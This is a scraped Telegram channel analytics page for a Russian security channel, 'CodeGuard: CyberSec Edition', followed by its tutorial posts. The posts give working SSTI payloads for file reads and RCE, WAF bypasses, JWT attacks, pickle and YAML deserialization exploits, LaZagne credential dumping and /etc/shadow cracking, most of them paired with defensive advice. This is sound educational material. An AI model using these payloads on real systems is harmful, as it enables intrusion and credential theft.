CodeGuard: CyberSec Edition
Канал по ИБ и этичному хакингу. Связь: @Arakcheev_Ruslan Ссылка: @invite_CodeGuard Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy
Ko'proq ko'rsatish📈 Telegram kanali CodeGuard: CyberSec Edition analitikasi
CodeGuard: CyberSec Edition kanali faol ishtirokchi. Hozirda hamjamiyat 12 526 obunachidan iborat bo'lib, Texnologiyalar & Aralashmalar toifasida 10 134-o'rinni va Rossiya mintaqasida 52 701-o'rinni egallagan.
📊 Auditoriya ko‘rsatkichlari va dinamika
невідомо sanasidan buyon loyiha tez o‘sib, 12 526 obunachiga ega bo‘ldi.
20 Iyun, 2026 dagi oxirgi ma’lumotlarga ko‘ra kanal barqaror faollikka ega. Oxirgi 30 kunda obunachilar soni 517 ga, so‘nggi 24 soatda esa 50 ga o‘zgardi va umumiy qamrov yuqori darajada qolmoqda.
- Tasdiqlash holati: Tasdiqlanmagan
- Jalb etish (ER): Auditoriya o‘rtacha 12.15% darajada jalb etiladi. Nashrdan keyingi dastlabki 24 soatda kontent odatda umumiy obunachilar sonining 6.95% ini tashkil etuvchi reaksiyalarni to‘playdi.
- Post qamrovi: Har bir post o‘rtacha 1 522 marta ko‘riladi; birinchi sutkada odatda 871 ta ko‘rish yig‘iladi.
- Reaksiyalar va o‘zaro ta’sir: Auditoriya faol: har bir postga o‘rtacha 4 ta reaksiya keladi.
- Tematik yo‘nalishlar: Kontent codeguard, pysec, docker, grep, контейнер kabi asosiy mavzularga jamlangan.
📝 Tavsif va kontent siyosati
Muallif resursni shaxsiy fikrni ifoda etish maydoni sifatida ta’riflaydi:
“Канал по ИБ и этичному хакингу.
Связь: @Arakcheev_Ruslan
Ссылка: @invite_CodeGuard
Биржа: https://telega.in/c/+3X56uL4A-UM3Njgy”
Yuqori yangilanish chastotasi (oxirgi ma’lumot 21 Iyun, 2026 da olingan) sababli kanal doimo dolzarb va katta qamrovli bo‘lib qoladi. Analitika auditoriya kontent bilan faol hamkorlik qilishini, uni Texnologiyalar & Aralashmalar toifasidagi muhim ta’sir nuqtasiga aylantirishini ko‘rsatadi.
${{<%[%'"}}%\
{{7*7}}
${7*7}
<%= 7*7 %>
Если видите 49 в ответе - шаблонизатор исполняет код.
2️⃣ Идентификация движка
{{7*'7'}} → 7777777 = Jinja2/Twig
{{7*'7'}} → 49 = Twig
${7*7} → 49 = Mako/FreeMarker
#{7*7} → 49 = Ruby ERB
Автоматизация через tplmap:
git clone https://github.com/epinna/tplmap
python tplmap.py -u "http://target.com/?name=test"
3️⃣ Эксплуатация Jinja2 (Flask)
Чтение файлов:
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
RCE через subprocess:
{{ ''.__class__.__mro__[1].__subclasses__()[408]('id', shell=True, stdout=-1).communicate() }}
Поиск нужного класса:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'Popen' in c.__name__ %}
{{ loop.index0 }}: {{ c }}
{% endif %}
{% endfor %}
4️⃣ Обход WAF и фильтров
Без точек и скобок:
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f') }}
Конкатенация строк:
{{ ''['__cla'+'ss__'] }}
Hex-кодирование:
{{ ''['\x5f\x5fclass\x5f\x5f'] }}
5️⃣ Защита
🔴Никогда не передавайте пользовательский ввод в render_template_string() 🔴Используйте sandbox-режим (Jinja2 SandboxedEnvironment) 🔴Экранируйте всё через | e фильтр 🔴CSP и мониторинг аномальных запросов😈 CodeGuard: PySec Edition | Чат
pip install pyjwt
python3 -c "import jwt; print(jwt.decode('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...', algorithms=['HS256']))"
Проверьте: алгоритм (alg), payload (claims вроде exp, iss) и подпись.
2️⃣ Классические уязвимости
🔵None-alg атака: Меняйте "alg" на "none" и удалите подпись. 🔵Key confusion: Если RS256, подмените публичный ключ на секретный (HS256).Инструмент: jwt_tool — автоматизирует тесты:
git clone https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py eyJhbGciOiJSUzI1NiJ9... -T
3️⃣ Практические команды для пентеста
Генерация слабого токена (тест):
import jwt
token = jwt.encode({'user': 'admin'}, 'weakkey', algorithm='HS256')
print(token)
Проверка слабых ключей (wordlist):
jwt_tool.py YOUR_TOKEN.txt -C -d rockyou.txt
Массовый аудит логов/токенов:
grep -r "eyJ" /var/log/app/ | jwt_tool.py -b -vv
4️⃣ Защита и лучшие практики
🔴Всегда проверяйте "alg" на сервере (только whitelisted). 🔴Используйте сильные ключи (>256 бит) и ротацию. 🔴Добавьте "kid" с валидацией и JWE для шифрования. 🔴Мониторьте: ELK или Splunk для аномальных JWT.Освойте эти техники и ваши аудиты аутентификации станут на голову выше. 😈 CodeGuard: PySec Edition | Чат
🔵 Видит запуск процессов в реальном времени 🔵 Показывает команды, аргументы, пользователей 🔵 Отлавливает cron, systemd timers, scripts 🔵 Работает без root и без ptrace 🔵 Не требует установки и зависимостей1️⃣ Запуск
chmod +x pspy64
./pspy64
2️⃣ Пример вывода
2025/01/03 12:01:00 CMD: UID=0 PID=1234 | /bin/bash /opt/backup.sh
2025/01/03 12:01:00 CMD: UID=0 PID=1235 | tar czf /tmp/backup.tar.gz /home/*
Вы сразу видите:
🟢пользователь UID=0 🟢путь к скрипту 🟢аргументы 🟢момент запуска3️⃣ Почему это опасно
🔴 cron-скрипты часто пишутся небезопасно 🔴 пути без абсолютных бинарей 🔴 writable каталоги 🔴 утечки паролей через аргументы команд4️⃣ Как это работает изнутри
🔵 Чтение /proc в цикле 🔵 Отслеживание fork/exec событий 🔵 Сравнение snapshot-ов процессов 🔵 Никакого ptrace и CAP_SYS_PTRACE5️⃣ Где применяется:
🟢 Linux privilege escalation 🟢 Red Team и post-exploitation 🟢 CTF (medium-hard) 🟢 Аудит cron и сервисных скриптов😈 CodeGuard: PySec Edition | Чат
🔴 Читать и писать память другого процесса 🔴 Останавливать выполнение на каждом syscall 🔴 Менять регистры CPU на лету 🔴 Инжектить код и управлять потоком выполненияМинимальный пример (C):
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
execl("/bin/ls", "ls", NULL);
Перехват syscalls (идея):
ptrace(PTRACE_SYSCALL, pid, NULL, NULL);
waitpid(pid, NULL, 0);
Где применяется:
🟢 gdb и отладчики 🟢 strace, ltrace 🟢 Античит и антидебаг 🟢 Reverse engineering и malware analysis👩💻 CodeGuard: Linux | Чат
🔵 Браузеры (логины, пароли, cookies, иногда токены) 🔵 Wi-Fi Пароли от сохранённых беспроводных сетей 🔵 Почтовые клиенты 🔵 Базы данных и сервисы 🔵 Системные и сторонние приложенияПредставьте, что вы специалист по безопасности и проверяете, какие секреты может получить атакующий после входа в систему пользователя. 1️⃣ Запуск базового сканирования В Linux / Windows (Python-версия):
python3 laZagne.py all
LaZagne автоматически:
🔵определит ОС 🔵просканирует все поддерживаемые модули 🔵выведет найденные пароли2️⃣ Сканирование конкретного модуля Например, только браузеры:
python3 laZagne.py browsers
Или только Wi-Fi:
python3 laZagne.py wifi
3️⃣ Пример результата
[+] Chrome passwords found !!!
URL: https://mail.example.com
Login: admin@example.com
Password: Summer2023!
4️⃣ Как это работает изнутри
🔵 DPAPI (Windows) LaZagne использует системные API для расшифровки данных, которые ОС считает «доверенными». 🔵 Чтение конфигов Многие программы хранят пароли в XML / JSON / INI файлах. 🔵 Memory & credential scraping Частично извлекает данные из памяти приложений.5️⃣ Профилактика: как защититься?
🔴 Используйте менеджеры паролей с мастер-паролем (KeePassXC, Bitwarden) 🔴 Отключайте сохранение паролей в браузерах на рабочих машинах 🔴 Используйте раздельные учётные записи (пользователь ≠ администратор) 🔴 Включайте полное шифрование диска (LUKS / BitLocker) 🔴 Для корпоративной среды - Credential Guard и AppLocker😈 CodeGuard: PySec Edition | Чат
🔴 Java (Serializable) 🔴 PHP (unserialize) 🔴 Python (pickle) 🔴 .NET (BinaryFormatter)Типичный антипример:
pickle.loads(user_input)
3️⃣ Чем это заканчивается
🔴 удалённое выполнение кода 🔴 чтение файлов 🔴 SSRF / SQLi через chain 🔴 полный захват приложения4️⃣ Почему это трудно заметить
👍 выглядит как «обычные данные» 👍 часто спрятано в cookies / cache 👍 срабатывает только с gadget-chain5️⃣ Как защищаться
✔️ не десериализуй непроверенные данные ✔️ используй JSON / protobuf ✔️ запрети магические методы ✔️ sandbox + least privilegeПолезно? ❤️ — Да 👍 — Знал 😈 CodeGuard: PySec Edition | Чат
Loading … ██████████████] 99%Роскомнадзору дали карт-бланш на блокировки, а «белые списки» сайтов тестируют уже в десятках регионов. И гайки будут закручиваться только сильнее. Чтобы в одночасье не лишиться доступа к свободному Интернету, просто сохрани Only Hack. Тут профессиональный хакер делится фишками, с которыми доступ к глобальной сети у тебя будет даже в случае ядерного апокалипсиса. Не жди момента «Х». Перестрахуйся подпиской.
/api/user/123 → /api/user/124И внезапно смотришь не свои данные. 2️⃣ Откуда берётся
🔴 нет проверки прав 🔴 логика «фронт не даст» 🔴 UUID ≠ защита 🔴 прямые ссылки на объекты3️⃣ Чем это кончается
🔴 утечка персональных данных 🔴 доступ к чужим заказам / файлам 🔴 полный обход бизнес-логики4️⃣ Как закрываться
✔️ проверяй права на каждый объект ✔️ связывай object с user ✔️ deny by default ✔️ тестируй негативные кейсыПолезно? ❤️ — Да 👍 — Нет 😈 CodeGuard: PySec Edition | Чат
Object.prototype.
Если туда записать:
proto.isAdmin = true
Все объекты внезапно:
user.isAdmin === true
2️⃣ Откуда это берётся
🔴 небезопасные merge’ы 🔴 Object.assign(user, input) 🔴 lodash.merge со входными данными3️⃣ Чем это кончается
🔴 auth bypass 🔴 RCE через template engines 🔴 логика приложения «поехала»4️⃣ Как закрываться
✔️ deep clone без prototype ✔️ Object.create(null) ✔️ обновляй lodash ✔️ валидируй входные данныеБыло полезно? ❤️ — Да 👍 — Нет 😈 CodeGuard: PySec Edition | Чат
sudo rm -rf /* всему. Но мы здесь, живые, всё ещё в строю.
Чему научил 2025:
🔵 Legacy код в голове можно рефакторить 🔵 Иногда лучший фикс — это sleep(86400) и свежий взгляд 🔵 Бэкапы нужны везде — в проектах, отношениях, головеНа 2026:
while alive:
learn_something_new()
build_cool_stuff()
touch_grass() # важно
sleep(enough=True) # критично
Серьёзно: спасибо, что читаете. Канал для вас - для тех, кто в 3 ночи дебажит эксплойт и кайфует от красивых ROP-цепочек. Мы странные люди. И это круто.
В 2026 - больше контента, глубже разборы. Идеи кидайте в чат.
$ checksec ./2026 Bugs: Inevitable Opportunities: Enabled Your potential: No limitsHappy New Year, хакеры. 🥂 🔥 CodeGuard | Чат
assert для проверки прав доступа или валидации? В продакшене эти проверки могут просто не существовать.
Проблема:
def delete_user(user_id, current_user):
assert current_user.is_admin, "Access denied"
db.delete(user_id)
Выглядит безопасно. Но нет.
Что происходит:
# Разработка — assert работает python app.py # Продакшен с оптимизацией — assert удаляется полностью python -O app.pyФлаг
-O (optimize) удаляет все assert-ы из байткода. Gunicorn, uWSGI, некоторые Docker-образы включают его по умолчанию.
Проверь прямо сейчас:
import sys
print(sys.flags.optimize) # 0 = норм, 1+ = assert не работает
Где это опасно:
🔵 Проверки авторизации 🔵 Валидация входных данных 🔵 Проверки бизнес-логики 🔵 Всё, что влияет на безопасностьПравильно:
def delete_user(user_id, current_user):
if not current_user.is_admin:
raise PermissionError("Access denied")
db.delete(user_id)
assert можно использовать для:
🔵 Отладки во время разработки 🔵 Документирования инвариантов 🔵 ТестовНайти проблемные места:
grep -rn "assert.*is_admin\|assert.*permission\|assert.*auth" --include="*.py"
assert для дебага, не для безопасности. Если проверка важна - используй if + raise.
😈 CodeGuard: PySec Edition | Чатyaml.load() делает то же самое - и это почему-то игнорируют.
Уязвимый код:
import yaml
data = yaml.load(user_input) # RCE готов
Payload:
!!python/object/apply:os.system ["whoami"]Одна строка - и у атакующего shell. Где встречается:
🔵 Парсинг конфигов из внешних источников 🔵 API, принимающие YAML 🔵 CI/CD пайплайны с пользовательскими .yml 🔵 Kubernetes-манифесты от пользователейПравильно:
# Всегда используй safe_load
data = yaml.safe_load(user_input)
# Или явно укажи Loader
data = yaml.load(user_input, Loader=yaml.SafeLoader)
safe_load() не поддерживает конструкцию !!python/object — RCE невозможен.
Проверить проект:
# Найти все небезопасные вызовы
grep -r "yaml.load(" --include="*.py" | grep -v "safe_load\|SafeLoader"
Мораль: если видишь yaml.load() без SafeLoader - это дыра.
😈 CodeGuard: PySec Edition | Чатpickle — стандартный способ сериализации объектов в Python. И он же — одна из самых опасных дыр, о которой многие забывают.
В чём проблема?
pickle.loads() при десериализации выполняет произвольный код. Это не баг — это фича. И злоумышленники это обожают.
Как выглядит атака:
import pickle
import base64
class Exploit:
def __reduce__(self):
import os
return (os.system, ('whoami',))
# Создаём вредоносный payload
payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload)
Теперь любой сервер, который сделает pickle.loads() на этих данных — выполнит команду. Reverse shell, удаление файлов, что угодно.
Где это встречается в реальности:
🔴 Redis + Python — если храните сериализованные объекты 🔴 Flask sessions — при неправильной настройке 🔴 ML-модели — .pkl файлы из интернета (да, те самые с Hugging Face и Kaggle) 🔴 Распределённые системы — Celery, межсервисное общение 🔴 Кэширование — самописные решенияПроверка на уязвимость: Инструмент
fickling анализирует pickle-файлы на вредоносность:
pip install fickling
fickling --check-safety model.pkl
Как защититься:
🔴 Никогда не делайте pickle.loads() на данных из недоверенных источников 🔴 Используйте безопасные альтернативы: json, msgpack, protobuf 🔴 Для ML-моделей — формат safetensors вместо pickle 🔴 Если pickle неизбежен — подписывайте данные (HMAC) и проверяйте подпись до десериализации
import hmac
import hashlib
def safe_pickle_loads(data: bytes, key: bytes):
signature, payload = data[:32], data[32:]
expected = hmac.new(key, payload, hashlib.sha256).digest()
if not hmac.compare_digest(signature, expected):
raise ValueError("Invalid signature")
return pickle.loads(payload)
Мораль: pickle — это eval() в овечьей шкуре. Относитесь к нему соответственно.
😈 CodeGuard: PySec Edition | Чат🔵Linux /etc/shadow: Современные системы используют sha512crypt ($6$), sha256crypt ($5$) или bcrypt ($2b$). Важно: это не "чистый" SHA-512, а специальная медленная функция (KDF), созданная для защиты от подбора. 🔵Windows: Хеши NTLM (из SAM-файлов). 🔵Веб-приложения и базы данных: MD5, SHA-1, SHA-256 (часто без соли, что упрощает подбор). Архивы и документы: Пароли от ZIP, RAR, PDF и файлов Microsoft Office.Базовый сценарий: Аудит паролей в Linux Представьте, что вы системный администратор и хотите проверить, нет ли в вашей системе учетных записей со слабыми паролями. 1️⃣ Подготовка хешей John не работает с файлом /etc/shadow напрямую. Нужно объединить его с /etc/passwd с помощью утилиты unshadow.
# Объединяем файлы, чтобы John правильно идентифицировал пользователей
sudo unshadow /etc/passwd /etc/shadow > users.hash
2️⃣ Запуск атаки по словарю
Самый быстрый метод — проверить пароли по известным словарям слабых паролей (например, rockyou.txt).
# Указываем формат хеша для точности и скорости (для Ubuntu/Debian это обычно sha512crypt) john --format=sha512crypt users.hash --wordlist=rockyou.txtJohn начнет перебор. Если пароль найден в словаре, он будет сохранен. 3️⃣ Просмотр результатов Чтобы увидеть, какие пароли были найдены, используйте команду: john --show users.hash Результат (пример):
2 password hashes cracked, 15 leftВывод: John обнаружил в системе две учетные записи со слабыми паролями, известными из публичных словарей. Это критическая уязвимость. Как это работает изнутри:
🔵Атака по словарю (Dictionary): Быстрая проверка пароля против заранее подготовленного списка (например, password123, qwerty). 🔵Перебор (Brute-force): Методичный перебор всех возможных комбинаций символов. Мощный, но очень медленный. 🔵Гибридная атака (Hybrid): Комбинация словаря и перебора. К словам из списка добавляются цифры или символы (например, password123).Профилактика: Как защититься?
🔴Используйте длинные и сложные пароли. Идеально — 3-4 случайных слова через дефис (кофе-дождь-радуга-42). 🔴Применяйте менеджеры паролей (KeePass, Bitwarden). Они генерируют и хранят уникальные сложные пароли для каждого сервиса. 🔴 Включайте двухфакторную аутентификацию (2FA) везде, где это возможно. 🔴Для серверов: Настройте политику блокировки учетных записей после нескольких неудачных попыток входа и используйте аутентификацию по SSH-ключам вместо паролей.😈 CodeGuard: PySec Edition | Чат
Endi mavjud! Telegram Tadqiqoti 2025 — yilning asosiy insaytlari 
